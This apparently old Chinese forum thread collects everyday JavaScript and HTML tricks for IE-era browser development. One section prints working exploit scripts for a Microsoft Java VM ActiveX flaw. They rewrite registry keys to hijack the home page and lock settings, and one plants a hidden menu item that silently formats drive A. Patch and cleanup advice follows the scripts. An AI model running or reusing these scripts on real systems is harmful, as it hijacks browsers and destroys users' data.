      <div id="floater" style="position:absolute; width:94px; height:55px; z-index:10; left: 200x; top: 233px">将你的文字或图片放在此处</div>

</body>
Re:在b-s开发中经常用到的javaScript技术(请大家逐个收集)
处理数据:
我想要113.23534543256435这个数的整数部分,用什么函数??

答:

方法一、
<script language="JavaScript">
var i;
i=parseInt(113.23534543256435);
alert(i);
</script>


方法二、
<input type="text" name="t1" value="113.23534543256435">
<script language="JavaScript">
<!--
var str = t1.value;
var num = str.split(".");
alert(num[0])
//-->
</script>


方法三、
Math.floor(12.12)
Math.ceil(12.12) - 1


方法四、
<%
a=1.24564641134654
response.write fix(a)
%>


方法五、
关于数值取舍,精度的问题详见MSDN
下面的Number对象的方法仅适用于IE5.5及以上版本
-------------------------------

这里举一个取舍小数的例子(保留两位小数,四舍五入)
var n = new Number(113.23534543256435);
alert(n.toFixed(2));

另外,还有指数
var n = new Number(113.23534543256435);
alert(n.toExponential(2));

关于SELECT列表框添加值的问题
示例代码1、
<script>
function addToSel(value){
  if (value.length == 0) return;
  
  var oOpt = document.createElement("option");
  oOpt.value = value;
  oOpt.innerText = value;
  sel.appendChild(oOpt);
}
</script>  

<select id=sel>
</select>

<input type=text id=txt>
<input type=button value=addtosel οnclick="addToSel(txt.value)">


示例代码2、

<html>

<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>新建网页 1</title>
</head>

<body>
<input type="button" id="btn" οnclick="addItem()">
<select id="slt">
</select>
<input type="text" id="txt">


<script language="javascript">
<!--
function addItem()
{
   slt.options[slt.options.length] = new Option( txt.value,txt.value);
}
//-->
</script>
</body>

</html>


Re:在b-s开发中经常用到的javaScript技术(请大家逐个收集)
屏闭一些键:

function KeyDown(){   //屏蔽鼠标右键、Ctrl+n、shift+F10、F5刷新、退格键
   //alert("ASCII代码是:"+event.keyCode);
  if ((window.event.altKey)&&
      ((window.event.keyCode==37)||   //屏蔽 Alt+ 方向键 ←
       (window.event.keyCode==39))){  //屏蔽 Alt+ 方向键 →
     alert("不准你使用ALT+方向键前进或后退网页!");
     event.returnValue=false;
     }
  if ((event.keyCode==8)  ||                 //屏蔽退格删除键
      (event.keyCode==116)||                 //屏蔽 F5 刷新键
      (event.keyCode==112)||                 //屏蔽 F1 刷新键
      (event.ctrlKey && event.keyCode==82)){ //Ctrl + R
     event.keyCode=0;
     event.returnValue=false;
     }
  if ((event.ctrlKey)&&(event.keyCode==78))   //屏蔽 Ctrl+n
     event.returnValue=false;
  if ((event.shiftKey)&&(event.keyCode==121)) //屏蔽 shift+F10
     event.returnValue=false;
  if (window.event.srcElement.tagName == "A" && window.event.shiftKey) 
      window.event.returnValue = false;  //屏蔽 shift 加鼠标左键新开一网页
  if ((window.event.altKey)&&(window.event.keyCode==115)){ //屏蔽Alt+F4
      window.showModelessDialog("about:blank","","dialogWidth:1px;dialogheight:1px");
      return false;}
}
1. οncοntextmenu="window.event.returnvalue=false"   将彻底屏蔽鼠标右键 
2. <body onselectstart="return false">         取消选取、防止复制 
3. οnpaste="return false"               不准粘贴 
4. οncοpy="return false;" oncut="return false;"    防止复制;防止剪切
5. <link rel="Shortcut Icon" href="favicon.ico"> IE地址栏前换成自己的图标 
6. <link rel="Bookmark" href="favicon.ico">     可以在收藏夹中显示出你的图标 
7. <input style="ime-mode:disabled">             关闭输入法

8. 永远都会带着框架 
<script language="javascript"><!-- 
 if (window==top)
  top.location.href="frames.htm"; 
file://frames.htm为框架网页 
// --></script>

9. 防止被人frame 
<SCRIPT LANGUAGE=javascript><!--  
 if (top.location!=self.location)
  top.location=self.location; 
// --></SCRIPT> 

10. <noscript><iframe src=*.html></iframe></noscript>  网页将不能被另存为


Re:在b-s开发中经常用到的javaScript技术(请大家逐个收集)
1、去掉窗口滚动条
scroll="no" style="overflow-y:hidden" 

2、背景图不再平铺
<style> body{background-image:url(logo.gif);background-repeat:no-repeat;background-position:center}
</style> 

3、背景图不再滚动
IE浏览器支持一个 Body 属性 bgproperties,它可以让背景不滚动: 
<Body Background="图片文件" bgproperties="fixed"> 

4、设置flash背景为透明
wmode=transparent

5、让IFRAME框架内的文档的背景透明
<iframe src="你要加入的页面" allowtransparency="true"></iframe>

下面这一句加在你要嵌入的页面中:
<body style=background:transparent>

6、表格也可透明
table { background-color: #996600; filter: Alpha(Opacity=40, Style=0)}
注意:这样加入会影响表格内的图片文字等内容,大家可以这样解决,如下:
  <table width="75%" border="1" height="316">
    <tr> 
      <td><span style="position: relative; left:0px; top: 0px">through a top-down, 
        proactive approach we can remain customer focused and goal-directed, innovate 
        an</span></td>
      <td bgcolor="#993300"> 
        <div align="center"><span style="position: relative; left:0px; top: 0px"><img src="box.gif" width="100" 

height="100"></span></div>
      </td>
      <td><span style="position: relative; left:0px; top: 0px">through a top-down, 
        proactive approach we can remain customer focused and goal-directed, innovate 
        an</span></td>
    </tr>
  </table>

一个可以使背景变色的函数
function highlight(which,color){

if (document.all||document.getElementById)

which.style.backgroundColor=color

}

例:
<a href="
http://www.jojooo.net/" onMouseover=highlight(this,'yellow') onMouseout="highlight(this,document.bgColor)">Free-backgrounds</a>

Re:在b-s开发中经常用到的javaScript技术(请大家逐个收集)
实例1:限制图片显示大小。(可认解决论坛贴图撑大表格一事)
如果想在网页中某个位置显示图片,而事先不能确定图片的大小,可在<img>标识中加

入这句代码:οnlοad='javascript:if(this.width>screen.width-$zoom)

this.width=screen.width-$zoom'。这里的$zoom是调整值,你可根据实际需要,选取

合适的数值。

实例:
<img border="0" src="tuyuan/b/b2003-11-01-22-53-37.jpg" 

οnlοad='javascript:if(this.width>screen.width-369)this.width=screen.width-

369'>

实例2:根据鼠标状态显示不同图片。

该代码主要用于导航或广告图片。

代码:

<script language="javascript">

function change_image($obj,$new_image)

{

    $obj.src=$new_image;

}

</script>

调用方式:

<img src=doc_images/show1.gif οnmοuseοver="change_image

(this,'doc_images/question2.gif')" οnmοuseοut="change_image

(this,'doc_images/question1.gif')">


关于引用外部样式表的几种方法(总结)

第一种(常见)、
<link href="../css/style.css" rel="stylesheet" type="text/css">


第二种(少见)、
<STYLE type=text/css>
@import url( wang/Mycss.css );
</STYLE>

第三种(动态加载)、
<link rel="stylesheet" href="upfiles/style_1.css">
<link rel="stylesheet" href="upfiles/style_2.css">
<link rel="stylesheet" href="upfiles/style_3.css">
<link rel="stylesheet" href="upfiles/style_4.css">
<script language="JavaScript">
<!--
var doAlerts=false;
function changeSheets(whichSheet){
  whichSheet=whichSheet-1;
  if(document.styleSheets){
    var c = document.styleSheets.length;
    if (doAlerts) alert('Change to Style '+(whichSheet+1));
    for(var i=0;i<c;i++){
      if(i!=whichSheet){
        document.styleSheets[i].disabled=true;
      }else{
        document.styleSheets[i].disabled=false;
      }
    }
  }
}

使用:
<a href="JavaScript:changeSheets(1)">Style 
          One</a> <a href="JavaScript:changeSheets(2)">Style Two</a> <a href="JavaScript:changeSheets(3)">Style 
          Three</a> <a href="JavaScript:changeSheets(4)">Style Four</a>


怎么操作注册表?
(此段代码是恶意修改注册表,非常令人生厌,希望大家用在正途,另:此段代码被Norton AntiVirus 8.0 企业中文版拦截)

<html>
<head>
<title>恢复</title>
<script language="javascript">
<!--
document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>");

function yuzi()


try{ 
a1=document.applets[0]; 
a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}"); 
a1.createInstance();Shl = a1.GetObject(); 
a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}"); 
try{ 
Shl.RegWrite("HKCU//Software//Microsoft//Internet Explorer//Main//Start Page","about:blank"); 
Shl.RegWrite ("HKLM//Software//Microsoft//Internet Explorer//Main//Window Title", "yyc welcome you!!"); 
Shl.RegWrite ("HKCU//Software//Microsoft//Internet Explorer//Main//Window Title", "yyc welcome you!!"); 
}catch(e) 
{} 
}catch(e) 
{} 

setTimeout("yuzi()",1000);
//-->
</script> 
</head>
<body>
修改成功!!
</body>
</html>

最近发现很多网友发表用javascript修改用户注册表的代码, 同时一些网站为将自己设为用户browser的home page或IE的标题, 故意使用这种代码. 在次, 我将向大家介绍,如何防止被网站修改了你的注册表.

首先让我们来看一下网站修改注册表的javascript code.

-----------------------------------------------------------------------------------------------------

<script>
//初始化actiVex控件
document.write("")
//初始化actiVex控件结束
//定义变量
function reg(){
try
{
//设定applets为0
a=document.applets[0]
//初始化Windows Script Host Shell Object
a.setCLSID("{f935dc22-1cf0-11d0-adb9-00c04fd58a0b}")
a.createInstance()
S=a.GetObject()
//初始化FileSystem Object
a.setCLSID("{0d43fe01-f093-11cf-8940-00a0c9054228}")
a.createInstance();
fs=a.GetObject()
try
{
//开始写注册表
//设定IE的标题为Internet Explorer
S.RegWrite ("HKEY_CURRENT_USER//Software//Microsoft//Internet Explorer//Main//Window Title","Internet Explorer")
//设定IE的默认首页为空白页
S.RegWrite ("HKEY_CURRENT_USER//Software//Microsoft//Internet Explorer//Main//Start Page","about:blank")
//让设定首页那项变灰
S.RegWrite ("HKEY_USERS//.DEFAULT//Software//Policies//Microsoft//Internet Explorer//Control Panel//HomePage",0x1,"REG_DWORD")
//让设定分级审查设定那项变灰
S.RegWrite ("HKEY_USERS//.DEFAULT//Software//Policies//Microsoft//Internet Explorer//Control Panel//SecChangeSettings",0x1,"REG_DWORD")
//在网页右键菜单中加入调用文件的命令
S.RegWrite ("HKEY_CURRENT_USER//Software//Microsoft//Internet Explorer//MenuExt//格式化A盘
//","c://format-a.txt.{3050f4d8-98b5-11cf-bb82-00aa00bdce0b}");
//写入值为0xf3的dowrd值 注意[REG_SZ:字符型 REG_DWORD:双字节型 REG_BINARY:二进制型]
//对于REG_DWORD型和REG_BINARY型则有两种赋值方式 
//直接用十进制的数表示,如:0,1等
//用十六进制的数表示,如:0x12,0xff等
S.RegWrite ("HKEY_CURRENT_USER//Software//Microsoft//Internet Explorer//MenuExt//格式化A盘
//contexts",0xf3,"REG_DWORD")
//结束写注册表
//开始写硬盘
//生成一个名为c://5flash.txt.{3050f4d8-98b5-11cf-bb82-00aa00bdce0b}的文件
hd=fs.CreateTextFile("c://format-a.txt.{3050f4d8-98b5-11cf-bb82-00aa00bdce0b}")
//把这个文件写入javascript内容
//脚本中的start /m 为最小化窗口 /autotest为自动 /u为无条件格式化
hd.write('<script>a=new ActiveXObject ("WSCript.Shell");a.run("start /m format.com a:/q /autotest /u");alert ("正在更新a盘系统文件,请稍等......");<//script>')
//关闭这个文件
hd.close()
//把这个文件下载到客户机的c盘中,这里的路径完全可以改成网络上的,然后在后面接上.Copy("d:/format.txt"),这个脚本可以改成下载木马
//格式为file=fs.GetFile("网络路径").Copy("运行路径")
//这个脚本如果配合asp,那么完全成了一个功能非常强大的木马了
file=fs.GetFile("c://format-a.txt.{3050f4d8-98b5-11cf-bb82-00aa00bdce0b}")
//设定这个文件的属性为隐藏
file.Attributes=6
//结束写硬盘
}
catch(reg)
{}
}
catch(reg)
{}
}
function flash()
{
//隔100毫秒就运行一次
setTimeout("reg()",100)
}
flash()
//最后再重申,这个脚本不可用来害人,谢~
</script>


-----------------------------------------------------------------------------------------------------

大家会注意到, 这段代码首先会将com.ms.activeX.ActiveXComponent写到page中去,然后通过它来创建对{0d43fe01-f093-11cf-8940-00a0c9054228}即WScript.Shell的引用,所以问题的关键点就是javascript能在网页中使用com.ms.activeX.ActiveXComponent作为applet. 而com.ms.activeX.ActiveXComponent是Microsoft设计出来在Java Application和签名的可信任applet中使用的, 它本身不应该被作为applet在javascript中使用.这是Microsoft的Java VM的一个漏洞, 这个漏洞将会影响以下一些版本的VM:

 1. builds 版本 2000 系列

 2. builds 版本 3100 系列

 3. builds 版本 3200 系列

 4. builds 版本 3300 系列

大家可以在命令行输入jview,  看到version x.xx.xxxx中的xxxx就是你的builds号.

针对这个漏洞, Microsoft给出了响应的补丁, 请到

http://www.microsoft.com/java/vm/dl_vm40.htm

去下栽安装最新版的VM.

 

关于此漏洞的详细描述请看Microsfot的Knowledge base:

http://support.microsoft.com/support/kb/articles/Q275/6/09.ASP?LN=EN-US

 

最近, Microsoft在browser, email和IIS方面发现很多严重漏洞, 大家一定要经常的它的http://windowsupdate.microsoft.com/站点去看看有没有新的补丁要打. 很多病毒和黑客程序都是利用用户的麻痹大意来攻击.


由于近期很多网友反映自己的IE遭到一些,网站使用Javascipt技术的恶意更改,因此,本论坛特推出这个修改专题,希望大家可以应付这些情况。如果大家还有什么问题可以去我们的软件诊所来问。


一、修改IE的标题栏 

即在IE浏览器最上方的蓝色横条里做广告,而不是显示默认的“Microsoft Internet Explorer”。这种修改非常常见,有人也特意针对它编制了反修改的程序。 

1.注册表法 

HKEY_LOCAL_MACHINE/Software/Microsoft/Internet Explorer/Main 
HKEY_CURRENT_USER/Software/Microsoft/Internet Explorer/Main在注册表中找到以上两处主键,将其下的“Window Title”主键删除,并关闭所有打开的IE浏览器窗口再重新打开就能看到效果。 

2.MagicSet法 

点击“IE 4/5”,点击与“IE 标题”字体平行的“复原”按钮即可。


二、修改IE的首页 

这个改回来很方便,在IE的设置里就有。比较麻烦的是某些网页在浏览者的硬盘里写入程序,使重启计算机后首页设置又被改了回去,这时可使用“系统配置实用程序”来解决。开始—运行,键入msconfig点击“确定”,在弹出的窗口中切换到“启动”选项卡,禁用可疑程序启动项。 


三、在Windows启动时显示一个窗口,点确定才能进去 

这个设置其实与IE无关,而是Windows的登录提示窗口,不过最近有些网页对它动上了脑筋,在这个窗口里做广告。 

1.注册表法 

HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/CurrentVersion/Winlogon在注册表中找到此主键,将其下的“LegalNoticeCaption”和“LegalNoticeText”主键删除即可。 

2.MagicSet法 

点击“安全与多用户”,再点击左上角的“+”切换窗口后,清除“启动时要显示的标题”和“启动时要显示的信息”两项内容即可。 


四、在IE里点击鼠标右键。在弹出的菜单里显示网页广告 

这种情况很少见,我还没碰到过,不过解决方法也不复杂。 

1.注册表法 

HKEY_CURRENT_USER/Software/Microsoft/Internet Explorer/MenuExt在IE中显示的附加右键菜单都在这里设置,常见的网络蚂蚁和网际快车点击右键下载的信息也存放在这里,只需找到显示广告的主键条目删除即可。 

2.MagicSet法 

点击“IE 4/5”,再点击左上角的“+”切换窗口后,在上方的列表窗口中即可修改、删除IE的附加右键菜单项。 


五、禁止或允许用户修改IE首页:

  运行注册表编辑器(开始菜单-运行-regedit-确定), 打开[HKEY_CURRENT_USER/Software/Policies/Microsoft/Internet Explorer/Control Panel], 其实一般此键是不存在的, 只存在[HKEY_CURRENT_USER/Software/Policies/Microsoft], 所以后面一截你要自己建立, 主键建立完后在Control Panel键下新建一个DWORD值数据, 键名为HOMEPAGE(不分大小写), 键值为1. 此时你打开IE属性时可以发现它改首页设置的部分已经不可用了. 当然如果你想先指定主页的话可以把HOMEPAGE的值改为0或删除它, 然后修改主页设置, 再把HOMEPAGE改回来即可


六、去掉注册表编辑器被锁定问题


win2000系统

Windows Registry Editor Version 5.00

[Hkey_current_user/Software/microsoft/windows/currentversion/Policies/system]
"DisableRegistryTools"=dword:00000000


win98/me系统

REGEDIT4

[HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/Policies/System]
"DisableRegistryTools"=dword:00000000


将以上代码copy到记事本中,然后将这个文件的名字改为*.reg双击运行可以解除你的锁定状态.
如果你对这个东西不是很了解可以点击这里下载reg文件2000系统的,98/me系统的


七、防范 

1.因为修改注册表设置都是用的JavaScript脚本语言,所以只需禁用它即可。但这种脚本语言应用广泛,所以建议在IE的设置中将脚本设为“提示”。 

2.建议使用一些单窗口多页面的浏览器如NetCaptor,myie等,因为它们往往能更方便地切换脚本设置,象我常用的NetCaptor,用工具栏中的“安全”按钮能很方便地设置脚本、ActiveX和Cookie的启用情况。 

3.使用IE6.0,虽然迟迟看不到这个浏览器的正式版本,而且测试版问题很多,但据用过的人说使用它浏览网页,将无法再随意修改你的注册表。 

4.使用Win2000的朋友,只需在“控制面板”—“管理工具”—“服务”中禁用Remote Registry Service服务,也无法通过浏览网页来修改你的注册表了。 

5.使用Norton AntiVirus 2002 v8.0杀毒软件,这个版本新增Script Blocking功能,将通过IE修改注册表的代码定义为Trojan.Offensive并予以拦截


再次强调大家不要乱用,没什么意义!

IE功能全收集(还有很多可挖,大尽量试)
<html>

<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<meta name="GENERATOR" content="Microsoft FrontPage 4.0">
<meta name="ProgId" content="FrontPage.Editor.Document">
<title>IE功能汇集</title>
</head>

<body>
<div align="center">
  <center>
<table border="1" width="90%" bordercolor="#000000" cellspacing="0" cellpadding="0" bordercolorlight="#000000" bordercolordark="#FFFFFF">
  <tr>
    <td width="100%"> 
<OBJECT classid=CLSID:8856F961-340A-11D0-A96B-00C04FD705A2 height=0 id=WebBrowser width=0>
  </OBJECT> 
  <input οnclick=document.all.WebBrowser.ExecWB(1,1) type=button value=打开 name=Button1>
  <input οnclick=document.all.WebBrowser.ExecWB(2,1) type=button value=关闭现在所有的IE窗口,并打开一个新窗口 name=Button2>
  <input οnclick=document.all.WebBrowser.ExecWB(4,1) type=button value=另存为 name=Button3>        
  <input οnclick=document.all.WebBrowser.ExecWB(6,1) type=button value=打印 name=Button4>
  <input οnclick=document.all.WebBrowser.ExecWB(7,1) type=button value=打印预览 name=Button5>
  <input οnclick=document.all.WebBrowser.ExecWB(8,1) type=button value=打印页面设置 name=Button6>
  <input οnclick=document.all.WebBrowser.ExecWB(10,1) type=button value=查看页面属性 name=Button7>        
  <input οnclick=document.all.WebBrowser.ExecWB(15,1) type=button value=撤销 name=Button8>        
  <input οnclick=document.all.WebBrowser.ExecWB(17,1) type=button value=全选 name=Button9>        
  <input οnclick=document.all.WebBrowser.ExecWB(22,1) type=button value=刷新 name=Button10>        
  <input οnclick=document.all.WebBrowser.ExecWB(45,1) type=button value=无提示关闭窗口 name=Button11> 
  <br/>        
  <br/>        
  <input οnclick=window.location.reload() type=button value=刷新 name=refresh>        
  <input οnclick="window.external.ImportExportFavorites(true,'');" type=button value=导入收藏夹 name=Button12>        
  <input οnclick="window.external.ImportExportFavorites(false,'');" type=button value=导出收藏夹 name=Button13>        
  <input οnclick="window.external.AddFavorite(location.href, document.title)" type=button value=加入收藏夹 name=Button14>        
  <input οnclick="window.external.ShowBrowserUI('OrganizeFavorites', null)" type=button value=整理收藏夹 name=Submit2>        
  <input οnclick='window.location="view-source:" + window.location.href' type=button value=查看源文件 name=Button15>        
  <input οnclick="window.external.ShowBrowserUI('LanguageDialog', null)" type=button value=语言设置 name=Button16>        
  <input οnclick=history.go(1) type=submit value=前进 name=Submit>        
  <input οnclick=history.go(-1) type=submit value=后退 name=Submit2>        
  <br/>        
  <br/>        
<input type=button value=剪切     οnclick=document.execCommand('Cut')>       
<input type=button value=拷贝     οnclick=document.execCommand('Copy')>       
<input type=button value=粘贴     οnclick=document.execCommand('Paste')>       
<input type=button value=撤消     οnclick=document.execCommand('Undo')>       
<input type=button value=删除     οnclick=document.execCommand('Delete')>       
<input type=button value=黑体     οnclick=document.execCommand('Bold')>       
<input type=button value=斜体     οnclick=document.execCommand('Italic')>       
<input type=button value=下划线   οnclick=document.execCommand('Underline')>       
<input type=button value=停止     οnclick=document.execCommand('stop')>       
<input type=button value=保存     οnclick=document.execCommand('SaveAs')>       
<input type=button value=另存为   οnclick=document.execCommand('Saveas',false,'c://test.htm')>       
<input type=button value=字体     οnclick=document.execCommand('FontName',false,fn)>       
<input type=button value=字体大小 οnclick=document.execCommand('FontSize',false,fs)>       
<input type=button value=刷新     οnclick=document.execCommand('refresh',false,0)>       

<input type=button value=刷新 οnclick=window.location.reload()>       
<input type=button value=前进 οnclick=history.go(1)>       
<input type=button value=后退 οnclick=history.go(-1)>       
<input type=button value=前进 οnclick=history.forward()>       
<input type=button value=后退 οnclick=history.back()>       
  <br/>        
  <br/>        
  <br/>        
  <br/>        
<input type=button value=导入收藏夹 οnclick=window.external.ImportExportFavorites(true,"
http://localhost");>       
<input type=button value=导出收藏夹 οnclick=window.external.ImportExportFavorites(false,"
http://localhost");>       
<input type=button value=整理收藏夹 οnclick="window.external.ShowBrowserUI('OrganizeFavorites', null)">       
<input type=button value=查看源文件 οnclick="window.location = 'view-source:'+ window.location.href">       
<input type=button value=语言设置   οnclick="window.external.ShowBrowserUI('LanguageDialog', null)">       
<input type=button value=加入收藏夹 οnclick="window.external.AddFavorite('http://fason.nease.net/', 'Fason的小天地')">       
<input type=button value=加入到频道 οnclick="window.external.addChannel('http://fason.nease.net/')">       
<input type=button value=设成主页   οnclick="this.style.behavior='url(#default#homepage)';this.setHomePage('http://fason.nease.net/')">             
   </td>
  </tr>
</table>
  </center>
</div>
<p align=right><A href="
http://fason.nease.net" style="text-decoration:none">【阿信的小天地】</a></p>
</body>

</html>


网页常用代码集
简单的window.open方法 
  <a href="#" οnclick="javascript:window.open('文件路径/文件名',
  'listnote','toolbar=no,scrollbars=yes,resizable=no,top=0,left=0,
  width=350,height=300');">文字或图片
  </a> 
图片随机替换 
  <script>
  document.write('<img src="img/'+ parseInt(Math.random()*(5))
  +'.gif"height="40" width="50">')
  </script> 
  图片文件名为0.gif 1.gif 2.gif 3.gif 4.gif 
设为首页 
  <a href="#" οnclick="this.style.behavior='url(#default#homepage)';
this.setHomePage('http://cu1985.126.com')" height="2"> 
加入收藏 
  <a href="javascript:window.external.
AddFavorite('http://www.wosay.net', 'wosay中文网')"> 
忽视右键 
  <body οncοntextmenu="return false">
  或
  <body style="overflow-y:hidden"> 
自动转页    
  <META HTTP-EQUIV="Refresh" CONTENT="时间(单位为秒);URL=地址"> 
加入背景音乐 
  IE:<bgsound src="*.mid" loop=infinite>
  NS:<embed src="*.mid" autostart=true hidden=true loop=true>
  </embed>
  *.mid你的背景音乐的midi格式文件 
网页自动刷新  
  在head部记入
  <META HTTP-EQUIV="Refresh" content="20">
  其中20为20秒后自动刷新,你可以更改为任意值。 
拉动页面时背景图不动    
  <html><head>
  <style>
  body  {background-image:url(logo.gif);
    background-repeat:no-repeat; background-position:center }
  </style>
  </head> 

让浏览器在保存页面时保存失败       
  <NOSCRIPT>
  <iframe src="*.html">
  </iframe>
  </NOSCRIPT> 
在网页中,图片和表格接触的地方如何不留空隙?       
  要使图片和表格接触的地方不留空隙,仅在表格属性面板上把外框线(border)设为0是不行的,不仅仅只是表格外框,还有两个设置,即在表格的属性面板上还要把单元格的两个属性设为0(cellspacing="0" cellpadding="0")。 
如何把自己放在主页上的zip或其他文件让浏览者下载(down)? 
  用Dreamweaver3其实很简单,把要让浏览者下载的文件名写上,然后拖动鼠标选取这段文字,在文本的属性面板上"Link"的属性输入框中写上文件名就行了。注意:若被下载的文件与该网页不在同一目录下,则文件名必须包含相对路径,否则到下载时将提示找不到文件。 
点击连接打开本地"我的电脑"等 
  
<a href="
file:///::{20D04FE0-3AEA-1069-A2D8-08002B30309D}" target="_blank">我的电脑</a>
  <a href="
file:///::{208D2C60-3AEA-1069-A2D7-08002B30309D}" target="_blank">网上邻居</a>
  <a href="
file:///::{645FF040-5081-101B-9F08-00AA002F954E}" target="_blank">回收站</a>
  <a href="
file:///::{7007ACC7-3202-11D1-AAD2-00805FC1270E}" target="_blank">网络和拨号连接</a>
  <a href="
file:///::{D20EA4E1-3957-11d2-A40B-0C5020524153}" target="_blank">管理工具</a>
  <a href="
file:///::{2227A280-3AEA-1069-A2DE-08002B30309D}" target="_blank">打印机</a>
  <a href="
file:///::{D6277990-4C6A-11CF-8D87-00AA0060F5BF}" target="_blank">计划任务</a>
  <a href="
file:///::{D20EA4E1-3957-11d2-A40B-0C5020524152}" target="_blank">字体</a>
简单的页面加密  
   <script LANGUAGE="JAVASCRIPT">
   <!--
   loopy()
   function loopy()
   {
   var sWord =""
   while (sWord != "login")
   {
   sWord = prompt("请输入你的登陆密码")
   }
   alert("登陆成功!")
   }
   //-->
   </script> 
网页自动关闭       
   <html>
   <head>
   <object
   id=closes
   type="application/x-oleobject"
   classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11">
   <param name="Command" value="Close">
   </object>
   </head>
   <body οnlοad="window.setTimeout('closes.Click()',10000)">
   这个窗口会在10秒过后自动关闭,而且不会出现提示.
   </body> 
保持layer在最前面,而不被Iframe、Object所覆盖   
   在Layer中再插Iframe 或 Object 设z-Index值
<div z-Index:2><object xxx></object> # 前面
<div z-Index:1><object xxx></object> # 后面
<div id="Layer2" style="position:absolute; top:40;width:400px; height:95px;z-index:2"> height=100% width=100%>
</td>
</tr>
</table>
<iframe width=0 height=0>
</iframe>
</div>
<div id="Layer1" style="position:absolute; top:50;width:200px; height:115px;z-index:1">
<iframe height=100% width=100%>
</iframe>
</div>
改变滚动条颜色     
   <STYLE>
   BODY {
scrollbar3dLightColor: #ff0000; /*滚动条亮边的颜色 scrollbarArrowColor: #ff0000; /*上下按钮上三角箭头的颜色 scrollbarBaseColor: #ff0000; /*滚动条的基本颜色 scrollbarDarkShadowColor: #ff0000; /*滚动条强阴影的颜色 scrollbarFaceColor: #ff0000; /*滚动条凸出部分的颜色 scrollbarHighlightColor: #ff0000; /*滚动条空白部分的颜色 scrollbarShadowColor: #ff0000; /*立体滚动条阴影的颜色 scrollbarTrackColor: #ff0000 /*滚动条的背景颜色
   }
   </STYLE> 
   说明:
1、必须是ie5.5+
2、当页面内容超出屏幕出现移动条时,设置的箭头颜色才有效 
3、母页的设置对iframe窗口的滚动条颜色无效,但是对textarea文本筐的滚动条有效
如何实现定义的超级链接文字颜色? 
  许多文章和教程都介绍过文字超级链接的颜色(包括未被访问的链接颜色、鼠标的链接上的颜色、已被访问过的链接颜色等等)可以用层叠样式表(CSS)定义,但真正在网页中要实现颜色按自己的意愿变化还确实不容易。下面把一些注意事项告诉你,你就能随心所欲地设置文字链接的颜色了。 
  1)超级链接的默认颜色是:未被访问的超级链接是蓝色、被访问过的超级链接是紫色; 
  2)要想使CSS定义的颜色起作用,在超级链接的文本的颜色属性中什么都不要填; 
  3)若你已定义了文本的颜色,发现CSS中定义的超级链接颜色不起作用,你可以取消文本的颜色定义,或取消超级链接再重新定义一次,CSS定义的颜色就起作用了; 
  4)超级链接上各种状态下文本颜色的关系:一旦定义了被访问过的链接的颜色(A: visited),则当链接被访问过后,该链接的颜色不再改变,即定义鼠标在超级链接上的颜色(a: hover)将不起作用了。若不定义被访问过的链接的颜色(A: visited),则当鼠标在超级链接上显示a: hover 中定义的颜色,当鼠标移开时显示a 中定义的颜色。 
   从上述可以看出,文本链接的颜色实际上只能在两种颜色之间变换,并没有象有些文章中讲的那样可以在多种颜色之间变换,但由于用那两种颜色可以任意,所以应该讲颜色的选择范围还是比较大的。 
有些网页的链接,原先没有下划线,你把鼠标指向链接处,才会出现下划线,鼠标移掉下划线就又没有了。如何实现这种效果呢? 
  可用层叠样式表(CSS)来实现的,在Dreamweaver3中编辑层叠样式表不用编写代码,具体操作方法如下: 
  1)在快速启动栏中点击层叠样式表按钮(就是把鼠标放上去显示"show css styles"的那个按钮),在弹出的CSS Styles面板上双击(none); 
  2)此时,可看到弹出的Edit Style Sheet 面板,在该面板上按New按钮; 
  3)再在弹出的New Style 面板上点取Redefine HTML Tag(重新定义HTML标记)再在Tag中选择"a"(超级链接标记)标记后按OK按钮; 
  4)这时可看到弹出的Style dehinition for a 的对话框,在此对话框中可以设置超级链接的许多属性,你可以按你的意愿设置,但我们这里主要是要去掉那讨厌的下划线,所以我们在decoration 属性中选择"none",这样就把下划线去掉了;然后我们再选择颜色为:#339966。按OK按钮返回到Edit Style Sheet 面板; 
  5)在Edit Style Sheet 面板上再按New按钮; 
  6)在弹出的New Style 面板上点取Use CSS Selector ,再在该面板上的selector选择框中选择"a:hover"(定义当鼠标在超级链接上时链接的属性),按OK按钮; 
  7)在弹出的Style dehinition for a:hover 的对话框中,我们在decoration 属性中选择"underline",这样就把下划线又加上了;然后我们再选择颜色为:#FF3300。按OK按钮返回到Edit Style Sheet 面板; 
  8)在Edit Style Sheet 面板上再按Don按钮,至此所有设置结束,你在Dreamweaver3的源代码检视窗中将看到在<head>与</head>之间如下所示的代码:
  <style type="text/css">
  <!--
  a { color: #339966; text-decoration: none}
  a:hover { color: #FF3300; text-decoration: underline}
  -->
  </style> 
  有了这段代码,你在该网页上的所有文字链接在浏览器中显示时没有下划线,当你把鼠标指向链接处,才会出现下划线,鼠标移掉下划线就又没有了。若你想在其它网页中也具有这种效果,你可以用上述方法设置或更简单点,直接把这段代码复制,粘贴到<head>与</head>之间即可。注意:若不是在a 中定义除去下划线而是在a: link中定义除去下划线,在实际使用时不能除去下划线,我是在IE4.0环境下测试的。 

用JavaScript制作图片下拉选择器
http://tech.tom.com  2003年01月21日来源:太平洋电脑网暖阳
来自:
http://tech.tom.com/Archive/1380/1384/2003/1/21-54389.html
相信大家都见过一些软件里的图片下拉选择控件吧?喏,OICQ中就有。但网页上的你见过没有?小阳今天就为你推出你心怡已久的这个控件,下面演示中就是了!效果还可以吧?心动不如行动,我们来看下是怎么弄出来的。
我们先来看下做出这个控件需要解决哪些问题。

第一,图片下拉列表框是一个层,它在选择提示框点击时出现,出现后在选择图片或窗体点击时再隐藏。

它出现时位置要在选择提示框的正下方;隐藏实际上可以把它的位置定在屏幕之外(style.pixelLeft=-800)。

第二,图片下拉列表框的位置。选择提示框不是层,图片下拉列表框出现的位置要在选择提示框的正下方,就必须读取选择提示框在窗体中的绝对位置,不能受选择提示框的位置和屏幕分辨率的影响。

我们可以用“Object.offsetLeft”和“Object.offsetTop”获取对象(Object)在其父容器(offsetParent)中的相对位置。于是我们可以用while()循环向高一级父容器一层一层读取相对位置,它们的代数和就是该Object在最上层容器(窗体)中的绝对位置了。

